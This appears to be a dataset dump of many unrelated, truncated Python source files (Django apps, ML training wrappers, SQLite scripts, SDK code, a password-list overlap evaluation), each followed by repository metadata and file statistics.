] | null | null | null | from django.conf.urls.static import static
from django.conf.urls import patterns, url, include
from django.conf import settings
from django.contrib import admin
from apps.app.views import *
admin.autodiscover()
urlpatterns = patterns('',
url(r'^/?$','apps.app.views.index',name='index'),
) | 26.636364 | 51 | 0.757679 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 38 | 0.129693 |
af6346ccaefda878793e2d456fe00155edd718ff | 483 | py | Python | m5.py | mohitalivenetsolutions/alivenet-python-training | 19968bbec0b9a44884e0175414342a8ca4ebb1fd | [
"MIT"
] | null | null | null | m5.py | mohitalivenetsolutions/alivenet-python-training | 19968bbec0b9a44884e0175414342a8ca4ebb1fd | [
"MIT"
] | 1 | 2018-07-17T17:09:38.000Z | 2018-07-17T17:09:38.000Z | m5.py | mohitalivenetsolutions/alivenet-python-training | 19968bbec0b9a44884e0175414342a8ca4ebb1fd | [
"MIT"
] | null | null | null | #list
list=["Apple","Mango","Banana","Pine Apple","Plum"]
for lst in list :
if lst=='Banana':
continue
else:
print(lst)
#tuples
tpls = ("apple", "banana", "cherry","banana",)
print("Tuples:",tpls)
#Set
st = set(("apple", "banana", "cherry"))
st.add("damson")
st.remove("banana")
pri... | 20.125 | 57 | 0.583851 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 213 | 0.440994 |
af63f358d135bd02b0acb291df904454267fe7f6 | 546 | py | Python | pokemon.py | videogamerm/pokemon_database | e33cb420fdd1053d55d178e230c095dedcffff76 | [
"MIT"
] | null | null | null | pokemon.py | videogamerm/pokemon_database | e33cb420fdd1053d55d178e230c095dedcffff76 | [
"MIT"
] | null | null | null | pokemon.py | videogamerm/pokemon_database | e33cb420fdd1053d55d178e230c095dedcffff76 | [
"MIT"
] | null | null | null | import sqlite3
import time
import random
conn = sqlite3.connect('pokemon.db')
c = conn.cursor()
id = 0
def dynamic_data_entry():
name = input ("Name: ")
health = input ("Health: ")
stage = input ("Stage:")
ptype = input("Type: ")
retreat = input ("Retreat: ")
year = input ("Year: ")
c.e... | 17.0625 | 56 | 0.580586 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 106 | 0.194139 |
af6432d71105fd52d5f472fb3ff046ac0d326424 | 2,603 | py | Python | sqlpie/services/matcher.py | lessaworld/sqlpie | 22cac1fc7f9cb939e823058f84a68988e03ab239 | [
"MIT"
] | 3 | 2016-01-27T19:49:23.000Z | 2020-08-18T13:59:02.000Z | sqlpie/services/matcher.py | lessaworld/sqlpie | 22cac1fc7f9cb939e823058f84a68988e03ab239 | [
"MIT"
] | null | null | null | sqlpie/services/matcher.py | lessaworld/sqlpie | 22cac1fc7f9cb939e823058f84a68988e03ab239 | [
"MIT"
] | 1 | 2016-02-01T01:57:54.000Z | 2016-02-01T01:57:54.000Z | # -*- coding: utf-8 -*-
"""
SQLpie License (MIT License)
Copyright (c) 2011-2016 André Lessa, http://sqlpie.com
See LICENSE file.
"""
from flask import g
import sqlpie
import math, json
class Matcher(object):
def __init__(self):
pass
@staticmethod
def match_single(source_bucket, document_id, s... | 40.671875 | 124 | 0.659624 | 2,412 | 0.926267 | 0 | 0 | 2,334 | 0.896313 | 0 | 0 | 529 | 0.203149 |
af650e570346dc05a0790bc50a568e6fc7bd4055 | 811 | py | Python | registry/smart_contract/migrations/0009_auto_20180717_1242.py | RustamSultanov/Python-test-registry- | 1d779a8135567a0b3aeca0151b2d7f0905014e88 | [
"MIT"
] | 1 | 2019-01-16T14:52:37.000Z | 2019-01-16T14:52:37.000Z | registry/smart_contract/migrations/0009_auto_20180717_1242.py | RustamSultanov/Python-test-registry- | 1d779a8135567a0b3aeca0151b2d7f0905014e88 | [
"MIT"
] | 8 | 2019-10-21T16:18:33.000Z | 2021-06-08T20:33:14.000Z | registry/smart_contract/migrations/0009_auto_20180717_1242.py | RustamSultanov/Python-test-registry- | 1d779a8135567a0b3aeca0151b2d7f0905014e88 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.7 on 2018-07-17 12:42
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('smart_contract', '0008_useraccept_company'),
]
operations = [
migrations.CreateModel(
name='Com... | 30.037037 | 136 | 0.61529 | 685 | 0.844636 | 0 | 0 | 0 | 0 | 0 | 0 | 173 | 0.213317 |
af664d7b09e7e9a2561541c3ca78ef9e440f0b18 | 5,554 | py | Python | src/mlregression/estimator/boosting.py | muhlbach/ml-regression | 59dfa5acc9841729d632030492e029bb329ce3ed | [
"MIT"
] | 1 | 2021-11-12T22:45:32.000Z | 2021-11-12T22:45:32.000Z | src/mlregression/estimator/boosting.py | muhlbach/ml-regression | 59dfa5acc9841729d632030492e029bb329ce3ed | [
"MIT"
] | 1 | 2021-11-15T22:14:10.000Z | 2021-11-16T15:56:14.000Z | src/mlregression/estimator/boosting.py | muhlbach/ml-regression | 59dfa5acc9841729d632030492e029bb329ce3ed | [
"MIT"
] | null | null | null | #------------------------------------------------------------------------------
# Libraries
#------------------------------------------------------------------------------
# Standard
import numpy as np
import xgboost as xgb
import lightgbm as lgbm
#----------------------------------------------------------------------... | 39.112676 | 111 | 0.46507 | 4,816 | 0.867123 | 0 | 0 | 0 | 0 | 0 | 0 | 1,444 | 0.259993 |
af66914d6ab60784b54d7bda3a416c150d4d2a44 | 5,125 | py | Python | ICPAR/trainer.py | RichardLeeK/CNM | a3c15cb0a0373d6ad03c5a815a7e020f90ab8522 | [
"Apache-2.0"
] | null | null | null | ICPAR/trainer.py | RichardLeeK/CNM | a3c15cb0a0373d6ad03c5a815a7e020f90ab8522 | [
"Apache-2.0"
] | null | null | null | ICPAR/trainer.py | RichardLeeK/CNM | a3c15cb0a0373d6ad03c5a815a7e020f90ab8522 | [
"Apache-2.0"
] | null | null | null | import numpy as np
from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D, Dense, Dropout, Flatten
import keras.backend as K
import random
import os
import sys
sys.setrecursionlimit(1000000)
def data_load_module(tf):
file = open('int/' + tf + '_1_int_rev.csv')
lines = file.readlines()
... | 26.832461 | 118 | 0.575415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 301 | 0.058732 |
af688d46de52f6336abb6ee7980f7d6335c0a120 | 569 | py | Python | django/company/util/models.py | shortintern2020-A-labyrinth/TeamD | 64245c837afd5c19f6383c5c68320ee4d1693021 | [
"WTFPL"
] | 4 | 2020-08-21T05:09:23.000Z | 2020-09-10T14:27:22.000Z | django/company/util/models.py | shortintern2020-A-labyrinth/TeamD | 64245c837afd5c19f6383c5c68320ee4d1693021 | [
"WTFPL"
] | 46 | 2020-08-21T07:00:10.000Z | 2020-08-27T20:26:55.000Z | django/company/util/models.py | shortintern2020-A-labyrinth/TeamD | 64245c837afd5c19f6383c5c68320ee4d1693021 | [
"WTFPL"
] | null | null | null | from django.core.mail import send_mail
from django.http import HttpResponse
from session.redis import SessionRedis
# Create your models here.
# 一応テスト用に引数デフォルトで設定
def post_mail(subject="題名", from_email="A4sittyo@gmail.com", to_email=["naoki@mail.com"], body="本文"):
send_mail(subject, body, from_email, to_email)
... | 25.863636 | 101 | 0.752197 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 226 | 0.355906 |
af68e340a99686bea5c7fac8eebb634ebfbce94a | 657 | py | Python | gui/objects/graph/line_plot.py | abraker95/ultimate_osu_analyzer | bea58c997d13c3f461ccbe682f52799f0f88fdea | [
"MIT"
] | 23 | 2019-02-27T06:20:15.000Z | 2022-03-31T22:54:11.000Z | gui/objects/graph/line_plot.py | abraker95/ultimate_osu_analyzer | bea58c997d13c3f461ccbe682f52799f0f88fdea | [
"MIT"
] | 38 | 2019-03-03T17:35:39.000Z | 2021-08-23T20:43:34.000Z | gui/objects/graph/line_plot.py | abraker95/ultimate_osu_analyzer | bea58c997d13c3f461ccbe682f52799f0f88fdea | [
"MIT"
] | 4 | 2020-03-30T20:43:14.000Z | 2022-03-06T19:40:15.000Z | from pyqtgraph.Qt import QtGui, QtCore
import pyqtgraph
import numpy as np
class LinePlot(pyqtgraph.PlotCurveItem):
def __init__(self):
super().__init__()
def update_data(self, data_x, data_y):
if type(data_x) == type(None) or type(data_y) == type(None):
self.setData(x=[], y=[]... | 24.333333 | 68 | 0.630137 | 579 | 0.881279 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0.035008 |
af69c8ebfb3a3b4a0f27bd8ba4d232051770a3d4 | 38,140 | py | Python | spongebob_images/spongebob_rgb_values.py | JuicySeals/mc-spongebob-plugin | 0df8d8e53705540314ebe6ef6ca411654bbeb56c | [
"MIT"
] | null | null | null | spongebob_images/spongebob_rgb_values.py | JuicySeals/mc-spongebob-plugin | 0df8d8e53705540314ebe6ef6ca411654bbeb56c | [
"MIT"
] | null | null | null | spongebob_images/spongebob_rgb_values.py | JuicySeals/mc-spongebob-plugin | 0df8d8e53705540314ebe6ef6ca411654bbeb56c | [
"MIT"
] | null | null | null | from PIL import Image
from math import sqrt
import os
import time
import json
os.system('cls')
COLORS = {
"blocks_rgb":[
[
224,
220,
200
],
[
107,
88,
57
],
[
146,
99,
86
],
... | 27.1266 | 93 | 0.440509 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5,689 | 0.149161 |
af6af919b708faefe930ae59ccea70a7cedd960e | 210 | py | Python | ABC/060/a.py | fumiyanll23/AtCoder | 362ca9fcacb5415c1458bc8dee5326ba2cc70b65 | [
"MIT"
] | null | null | null | ABC/060/a.py | fumiyanll23/AtCoder | 362ca9fcacb5415c1458bc8dee5326ba2cc70b65 | [
"MIT"
] | null | null | null | ABC/060/a.py | fumiyanll23/AtCoder | 362ca9fcacb5415c1458bc8dee5326ba2cc70b65 | [
"MIT"
] | null | null | null | def main():
# input
A, B, C = input().split()
# compute
# output
if A[-1]==B[0] and B[-1]==C[0]:
print('YES')
else:
print('NO')
if __name__ == '__main__':
main()
| 13.125 | 35 | 0.438095 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 43 | 0.204762 |
af6cc52ba6e57b394d26f12154df2f51b1b57cc5 | 636 | py | Python | test/test_layers/test_flatten.py | radu-dogaru/numpyCNN | efe8749d7a35156ff9e67e7cc6df62a8077bf2ea | [
"MIT"
] | 19 | 2019-11-08T22:50:32.000Z | 2022-03-14T22:29:21.000Z | test/test_layers/test_flatten.py | radu-dogaru/numpyCNN | efe8749d7a35156ff9e67e7cc6df62a8077bf2ea | [
"MIT"
] | null | null | null | test/test_layers/test_flatten.py | radu-dogaru/numpyCNN | efe8749d7a35156ff9e67e7cc6df62a8077bf2ea | [
"MIT"
] | 7 | 2020-06-15T08:03:41.000Z | 2021-10-01T11:22:58.000Z | import unittest
import numpy as np
from src.layers.flatten import Flatten
class TestFlatten(unittest.TestCase):
def test_flatten(self):
batch_size = 10
n_h, n_w, n_c = 32, 32, 3
a_prev = np.random.randn(batch_size, n_h, n_w, n_c)
f = Flatten()
f.init((n_h, n_w, n_c))
... | 30.285714 | 92 | 0.641509 | 557 | 0.875786 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
af6ea05a1f8f073a03f7dff7deddcb7bdfb3a4a9 | 3,976 | py | Python | oscar/core/loading.py | owad/django-oscar | cfa69e37dc9abc97a7aff5c8616da319e1771008 | [
"BSD-3-Clause"
] | 1 | 2022-03-17T19:26:13.000Z | 2022-03-17T19:26:13.000Z | oscar/core/loading.py | aykut/django-oscar | ca3629e74ea1e0affc55d3de4e97f523e352d267 | [
"BSD-3-Clause"
] | null | null | null | oscar/core/loading.py | aykut/django-oscar | ca3629e74ea1e0affc55d3de4e97f523e352d267 | [
"BSD-3-Clause"
] | 1 | 2019-03-23T10:26:02.000Z | 2019-03-23T10:26:02.000Z | from imp import new_module
from django.conf import settings
class AppNotFoundError(Exception):
pass
def import_module(module_label, classes, namespace=None):
u"""
For dynamically importing classes from a module.
Eg. calling import_module('product.models') will search INSTALLED_APPS for
the... | 46.232558 | 114 | 0.597837 | 43 | 0.010815 | 0 | 0 | 0 | 0 | 0 | 0 | 1,376 | 0.346076 |
af6f367d7cdaed06d634c9db91b020afc6d934e8 | 3,197 | py | Python | domba/clis/start.py | sofyan48/domba | fbd891ce69325d56774114eb6ef71c8d0f5ab428 | [
"MIT"
] | 1 | 2019-07-27T12:17:16.000Z | 2019-07-27T12:17:16.000Z | domba/clis/start.py | meongbego/domba | fbd891ce69325d56774114eb6ef71c8d0f5ab428 | [
"MIT"
] | null | null | null | domba/clis/start.py | meongbego/domba | fbd891ce69325d56774114eb6ef71c8d0f5ab428 | [
"MIT"
] | null | null | null | from domba.clis.base import Base
from domba.libs import env_lib
from domba.libs import knot_lib
from domba.libs import kafka_lib
import os
class Start(Base):
"""
usage:
start slave
start master
Command :
Options:
-h --help Print... | 38.987805 | 82 | 0.483891 | 3,057 | 0.956209 | 0 | 0 | 0 | 0 | 0 | 0 | 656 | 0.205192 |
af6febf89f847660f4b9e84d576a390734dbb67d | 2,214 | py | Python | input_fn/input_fn_2d/data_gen_2dt/data_anaylzer.py | JochenZoellner/tf_neiss-1 | c91019e5bce6d3c7512237eec5ea997fd95304ac | [
"Apache-2.0"
] | null | null | null | input_fn/input_fn_2d/data_gen_2dt/data_anaylzer.py | JochenZoellner/tf_neiss-1 | c91019e5bce6d3c7512237eec5ea997fd95304ac | [
"Apache-2.0"
] | 1 | 2020-08-07T13:04:43.000Z | 2020-08-10T12:32:46.000Z | input_fn/input_fn_2d/data_gen_2dt/data_anaylzer.py | JochenZoellner/tf_neiss-1 | c91019e5bce6d3c7512237eec5ea997fd95304ac | [
"Apache-2.0"
] | 1 | 2019-12-16T15:46:45.000Z | 2019-12-16T15:46:45.000Z | import os
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
import input_fn.input_fn_2d.data_gen_2dt.data_gen_t2d_util.tfr_helper as tfr_helper
os.environ["CUDA_VISIBLE_DEVICES"] = ""
tf.enable_eager_execution()
if __name__ == "__main__":
print("run IS2d_triangle")
# prefix = "val"
... | 31.183099 | 91 | 0.617435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 351 | 0.158537 |
af71f9e9ddb2979aa18dd52c6ff6dae1a9583788 | 4,090 | py | Python | Three-Column-Sortable-TableView.py | humberry/ui-tutorial | 90ba337f64c429b234a6d035df8d096fb3248fc2 | [
"MIT"
] | 115 | 2015-03-01T20:22:19.000Z | 2022-01-23T16:16:48.000Z | Three-Column-Sortable-TableView.py | clarityD/ui-tutorial | 90ba337f64c429b234a6d035df8d096fb3248fc2 | [
"MIT"
] | 8 | 2015-01-05T10:12:24.000Z | 2020-08-02T07:43:10.000Z | Three-Column-Sortable-TableView.py | clarityD/ui-tutorial | 90ba337f64c429b234a6d035df8d096fb3248fc2 | [
"MIT"
] | 37 | 2015-05-10T03:24:33.000Z | 2022-03-11T04:06:47.000Z | # coding: utf-8
import ui, os, datetime
from operator import itemgetter
class MyTableViewDataSource(object):
def __init__(self, row_height):
self.row_height = row_height
self.width = None
def tableview_number_of_rows(self, tableview, section):
return len(tableview.data_source.items)
... | 31.953125 | 103 | 0.55868 | 3,998 | 0.977506 | 0 | 0 | 0 | 0 | 0 | 0 | 154 | 0.037653 |
af7371f20bd26e4f799d725d92aa211ad0557f49 | 668 | py | Python | binning/pozo_5m_binning.py | UP-RS-ESP/GEW-DAP04-WS201819 | 18341620d9168e1eec476af1d8f568cf0017bf56 | [
"MIT"
] | 2 | 2020-10-12T11:33:00.000Z | 2021-12-20T06:33:54.000Z | binning/pozo_5m_binning.py | UP-RS-ESP/GEW-DAP04-WS201819 | 18341620d9168e1eec476af1d8f568cf0017bf56 | [
"MIT"
] | null | null | null | binning/pozo_5m_binning.py | UP-RS-ESP/GEW-DAP04-WS201819 | 18341620d9168e1eec476af1d8f568cf0017bf56 | [
"MIT"
] | null | null | null | import numpy as np
from matplotlib import pyplot as pl
from matplotlib.colors import LogNorm
fn = '../pozo-steep-vegetated-pcl.npy'
pts = np.load(fn)
x, y = pts[:, 0], pts[:, 1]
ix = (0.2 * (x - x.min())).astype('int')
iy = (0.2 * (y - y.min())).astype('int')
shape = (100, 100)
#xb = np.arange(shape[1]+1)
#yb = np.ar... | 22.266667 | 40 | 0.586826 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 117 | 0.17515 |
af747dc207dec3cbffc1da1f8850f8e0ae2ec7ff | 110 | py | Python | lianapy/graphics.py | mlincett/lianapy | e38c58ffd11a886b5c025621d6ed60516ceb5b2a | [
"MIT"
] | null | null | null | lianapy/graphics.py | mlincett/lianapy | e38c58ffd11a886b5c025621d6ed60516ceb5b2a | [
"MIT"
] | null | null | null | lianapy/graphics.py | mlincett/lianapy | e38c58ffd11a886b5c025621d6ed60516ceb5b2a | [
"MIT"
] | null | null | null | def figure(nrows=1, ncols=1, figsize=(6,6), dpi=150):
return plt.subplots(nrows, nclos, figsize, dpi=dpi)
| 36.666667 | 55 | 0.690909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
af74d606a269a83e28010d18de482c23c6ab0542 | 5,600 | py | Python | datary/operations/remove.py | Datary/python-sdk | 2790a50e1ad262cbe3210665dc34f497625e923d | [
"MIT"
] | null | null | null | datary/operations/remove.py | Datary/python-sdk | 2790a50e1ad262cbe3210665dc34f497625e923d | [
"MIT"
] | null | null | null | datary/operations/remove.py | Datary/python-sdk | 2790a50e1ad262cbe3210665dc34f497625e923d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Datary sdk Remove Operations File
"""
import os
from urllib.parse import urljoin
from datary.auth import DataryAuth
from datary.operations.limits import DataryOperationLimits
import structlog
logger = structlog.getLogger(__name__)
class DataryRemoveOperation(DataryAuth, DataryOperationL... | 32.55814 | 78 | 0.411786 | 5,335 | 0.952679 | 0 | 0 | 0 | 0 | 0 | 0 | 2,666 | 0.476071 |
af7521356a79a5c1bee31c5535d67e69471269c6 | 531 | py | Python | widgets/migrations/0003_widgets_widget_type.py | briansok/derpi | 0e111a84b17ce8caeb60d2899957a0a24cab47b3 | [
"MIT"
] | null | null | null | widgets/migrations/0003_widgets_widget_type.py | briansok/derpi | 0e111a84b17ce8caeb60d2899957a0a24cab47b3 | [
"MIT"
] | null | null | null | widgets/migrations/0003_widgets_widget_type.py | briansok/derpi | 0e111a84b17ce8caeb60d2899957a0a24cab47b3 | [
"MIT"
] | 1 | 2019-03-07T04:30:36.000Z | 2019-03-07T04:30:36.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-06-12 10:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('widgets', '0002_auto_20170612_1201'),
]
operations = [
migrations.AddField(... | 25.285714 | 126 | 0.619586 | 373 | 0.702448 | 0 | 0 | 0 | 0 | 0 | 0 | 159 | 0.299435 |
af76cb63ff7f339b7e7e1d830fd28ab78f3db4d3 | 9,199 | py | Python | parse_conceptual.py | HalimSD/A-eye | 502dcdf47d54d93e8745be7c49897064550db8c7 | [
"MIT"
] | null | null | null | parse_conceptual.py | HalimSD/A-eye | 502dcdf47d54d93e8745be7c49897064550db8c7 | [
"MIT"
] | null | null | null | parse_conceptual.py | HalimSD/A-eye | 502dcdf47d54d93e8745be7c49897064550db8c7 | [
"MIT"
] | null | null | null | import torch
import clip
from torch.utils.data import DataLoader, Dataset
from PIL import Image
import pickle
from tqdm import tqdm
import os
import csv
import threading
import requests
import shutil
import PIL
from typing import List, Tuple, Optional
import argparse
from pathlib import Path
device = torch.device("cu... | 37.70082 | 137 | 0.589521 | 1,665 | 0.180998 | 0 | 0 | 697 | 0.075769 | 0 | 0 | 1,040 | 0.113056 |
af7781158a003eb34d7e6424f047ba42deefc00b | 1,797 | py | Python | tests/measure/test_cosine.py | icfly2/simstring-1 | e4a57603967c5d138ce021cedc09d509f75e1933 | [
"MIT"
] | null | null | null | tests/measure/test_cosine.py | icfly2/simstring-1 | e4a57603967c5d138ce021cedc09d509f75e1933 | [
"MIT"
] | null | null | null | tests/measure/test_cosine.py | icfly2/simstring-1 | e4a57603967c5d138ce021cedc09d509f75e1933 | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
from unittest import TestCase
from simstring.measure.cosine import CosineMeasure
class TestCosine(TestCase):
measure = CosineMeasure()
def test_min_feature_size(self):
self.assertEqual(self.measure.min_feature_size(5, 1.0), 5)
self.assertEqual(self.measure.min_feature_s... | 47.289474 | 131 | 0.613244 | 1,689 | 0.9399 | 0 | 0 | 0 | 0 | 0 | 0 | 369 | 0.205342 |
af77fe8c502d0a33488b3425f1fba0230262d786 | 1,072 | py | Python | expansions/config/insc.py | croot/blacksmith-2 | 3bb544139a18184a709ca7668f8e69f3ca361475 | [
"Apache-2.0"
] | null | null | null | expansions/config/insc.py | croot/blacksmith-2 | 3bb544139a18184a709ca7668f8e69f3ca361475 | [
"Apache-2.0"
] | null | null | null | expansions/config/insc.py | croot/blacksmith-2 | 3bb544139a18184a709ca7668f8e69f3ca361475 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
if DefLANG in ("RU", "UA"):
AnsBase_temp = tuple([line.decode("utf-8") for line in (
"Изменённые пункты: %s", # 0
"Очевидно параметры неверны.", # 1
"Настройки:\n", # 2
"Конфиг пуст.", # 3
"Вниание! Текущий jid сейчас удаляется, сейчас я зайду с нового.", # 4
"смена jid'а", # 5
"Теперь '... | 31.529412 | 72 | 0.602612 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,115 | 0.827765 |
af78d3f22f044a728a9a4c210c9bf8cdba9f1cf9 | 7,170 | py | Python | TextSummarizer.py | venkattrj/Refresh | 563c901cc0a8d90f5d716a2661302ff8858f7334 | [
"BSD-3-Clause"
] | null | null | null | TextSummarizer.py | venkattrj/Refresh | 563c901cc0a8d90f5d716a2661302ff8858f7334 | [
"BSD-3-Clause"
] | null | null | null | TextSummarizer.py | venkattrj/Refresh | 563c901cc0a8d90f5d716a2661302ff8858f7334 | [
"BSD-3-Clause"
] | null | null | null |
# Global objects
import datetime
import hashlib
import subprocess
import time
import nltk
from Prediction import Summarizer
from data_utils import DataProcessor
PAD_ID = 0
UNK_ID = 1
vocab_dict, word_embedding_array = DataProcessor().prepare_vocab_embeddingdict()
# # print (len(vocab_embed_object.vocab_dict)-2)
model... | 40.055866 | 138 | 0.58159 | 6,796 | 0.947838 | 0 | 0 | 0 | 0 | 0 | 0 | 2,454 | 0.342259 |
af7b2b1a93e2158eade57c472f0fd8b7130b6ddf | 69 | py | Python | vault/__init__.py | globocom/vault | 4909cc022476e59022a1dc55d1bbabf49873ca80 | [
"Apache-2.0"
] | 15 | 2015-03-19T13:05:06.000Z | 2021-08-13T19:17:25.000Z | vault/__init__.py | globocom/vault | 4909cc022476e59022a1dc55d1bbabf49873ca80 | [
"Apache-2.0"
] | 24 | 2015-02-24T14:20:06.000Z | 2021-12-15T13:33:52.000Z | vault/__init__.py | globocom/vault | 4909cc022476e59022a1dc55d1bbabf49873ca80 | [
"Apache-2.0"
] | 11 | 2016-09-12T07:54:01.000Z | 2021-10-31T20:26:43.000Z | default_app_config = 'vault.apps.VaultConfig'
__version__ = '1.3.7'
| 17.25 | 45 | 0.753623 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 31 | 0.449275 |
af7b2d5d99f6baeaacbb0d347417a474259a0efd | 447 | py | Python | setup.py | rahulpshah/nbexamples | b14421ef9a88828b5a0e76d376043ee0f13f9da8 | [
"BSD-3-Clause"
] | 62 | 2015-11-19T18:28:56.000Z | 2021-12-27T02:50:30.000Z | setup.py | rahulpshah/nbexamples | b14421ef9a88828b5a0e76d376043ee0f13f9da8 | [
"BSD-3-Clause"
] | 33 | 2015-11-23T01:11:33.000Z | 2021-04-15T04:23:15.000Z | setup.py | rahulpshah/nbexamples | b14421ef9a88828b5a0e76d376043ee0f13f9da8 | [
"BSD-3-Clause"
] | 28 | 2015-11-24T18:49:33.000Z | 2021-12-28T16:48:55.000Z | import versioneer
from setuptools import setup
setup_args = dict(
name='nbexamples',
version=versioneer.get_version(),
cmdclass=versioneer.get_cmdclass(),
license='BSD',
platforms=['Jupyter Notebook'],
packages=[
'nbexamples'
],
include_package_data=True,
install_requires=[
... | 19.434783 | 39 | 0.626398 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 95 | 0.212528 |
af7b67f1e4cd5fbb564b9808cb8df8c219c0b7fc | 702 | py | Python | toughradius/manage/api/v1/api_authorize.py | geosson/GSRadius | 5870e3d055e8366f98b8e65220a1520b5da22f6d | [
"Apache-2.0"
] | 1 | 2019-05-12T15:06:58.000Z | 2019-05-12T15:06:58.000Z | toughradius/manage/api/v1/api_authorize.py | geosson/GSRadius | 5870e3d055e8366f98b8e65220a1520b5da22f6d | [
"Apache-2.0"
] | null | null | null | toughradius/manage/api/v1/api_authorize.py | geosson/GSRadius | 5870e3d055e8366f98b8e65220a1520b5da22f6d | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
#coding=utf-8
from toughlib import utils, apiutils
from toughlib.permit import permit
from toughradius.manage.api.apibase import ApiHandler
from toughradius.manage import models
from toughradius.manage.radius.radius_authorize import RadiusAuth
@permit.route(r"/api/v1/authorize")
class AuthorizeH... | 31.909091 | 80 | 0.702279 | 384 | 0.547009 | 0 | 0 | 420 | 0.598291 | 0 | 0 | 54 | 0.076923 |
af7bf1efb310882137ab2c2a20b32d59f0f8b898 | 89 | py | Python | mergics/apps.py | nim65s/mergics | 253b7414d3bcf03078c62b2c58abec8f4b0b9722 | [
"BSD-2-Clause"
] | null | null | null | mergics/apps.py | nim65s/mergics | 253b7414d3bcf03078c62b2c58abec8f4b0b9722 | [
"BSD-2-Clause"
] | 1 | 2020-10-06T20:03:20.000Z | 2020-10-06T20:27:03.000Z | mergics/apps.py | nim65s/mergics | 253b7414d3bcf03078c62b2c58abec8f4b0b9722 | [
"BSD-2-Clause"
] | null | null | null | from django.apps import AppConfig
class MergicsConfig(AppConfig):
name = 'mergics'
| 14.833333 | 33 | 0.752809 | 52 | 0.58427 | 0 | 0 | 0 | 0 | 0 | 0 | 9 | 0.101124 |
af7e5e86d0f60de6b492ec7b6eafdc2ebea4c16a | 6,336 | py | Python | project-management-api/app/routers/msprojects.py | paolo-demagistris-polito/pm-lab-polito-EnvForDigitalProjectDelivery | 07e121a6613398bf3a8fbb9ec6831720bfcf2c33 | [
"MIT"
] | 1 | 2022-03-03T14:22:47.000Z | 2022-03-03T14:22:47.000Z | project-management-api/app/routers/msprojects.py | paolo-demagistris-polito/pm-lab-polito-EnvForDigitalProjectDelivery | 07e121a6613398bf3a8fbb9ec6831720bfcf2c33 | [
"MIT"
] | 3 | 2022-01-20T05:22:52.000Z | 2022-01-28T09:34:19.000Z | project-management-api/app/routers/msprojects.py | pm-lab-polito/EnvForDigitalProjectDelivery | 0bda402f70160eccb8959ffac3d9baeccce60781 | [
"MIT"
] | null | null | null | """
Module for the methods regarding ms projects
"""
import jpype
import jsonpath_ng.ext
import mpxj
from fastapi import APIRouter, File, UploadFile
from datatypes.models import *
from dependencies import *
router = APIRouter(
prefix="/msprojects",
tags=["msprojects"],
dependencies=[]
)
@router.post("/... | 37.94012 | 114 | 0.665404 | 0 | 0 | 0 | 0 | 6,024 | 0.950758 | 5,686 | 0.897412 | 1,029 | 0.162405 |
af7fc4668b2fb86b2672d51501af6b7ccc59aa58 | 1,945 | py | Python | evaluation/novel_base_word_comparison.py | Knuust/Semantic-Password-Generator | d10b8bd3f5871359efae6e046aac76cd22868680 | [
"BSD-3-Clause"
] | null | null | null | evaluation/novel_base_word_comparison.py | Knuust/Semantic-Password-Generator | d10b8bd3f5871359efae6e046aac76cd22868680 | [
"BSD-3-Clause"
] | null | null | null | evaluation/novel_base_word_comparison.py | Knuust/Semantic-Password-Generator | d10b8bd3f5871359efae6e046aac76cd22868680 | [
"BSD-3-Clause"
] | 1 | 2022-02-23T13:48:34.000Z | 2022-02-23T13:48:34.000Z | import pickle
import matplotlib.pyplot as plt
from matplotlib_venn import venn3
test_list_path = 'final/wörterbücher/'
password_list_path = 'final/generated_password_lists/'
def remove_duplicates(seq):
seen = set()
seen_add = seen.add
return [x for x in seq if not (x in seen or seen_add(x))]
def load_pas... | 29.029851 | 123 | 0.728021 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 237 | 0.121726 |
af808a47b333d62757233f327d638f9ef66a62b6 | 563 | py | Python | Leetcode/1000-2000/1103. Distribute Candies to People/1103.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | Leetcode/1000-2000/1103. Distribute Candies to People/1103.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | Leetcode/1000-2000/1103. Distribute Candies to People/1103.py | Next-Gen-UI/Code-Dynamics | a9b9d5e3f27e870b3e030c75a1060d88292de01c | [
"MIT"
] | null | null | null | class Solution:
def distributeCandies(self, candies: int, n: int) -> List[int]:
ans = [0] * n
rows = int((-n + (n**2 + 8 * n**2 * candies)**0.5) / (2 * n**2))
accumN = rows * (rows - 1) * n // 2
for i in range(n):
ans[i] = accumN + rows * (i + 1)
givenCandies = (n**2 * rows**2 + n * rows) ... | 24.478261 | 68 | 0.515098 | 562 | 0.998224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
af814a1fa869942dd97f9544736806c049599941 | 1,810 | py | Python | projects/migrations/0086_auto_20201202_0818.py | SuviVappula/kaavapino | 0e3687c94afff10527c9bee9627fc30bd2dfab4f | [
"MIT"
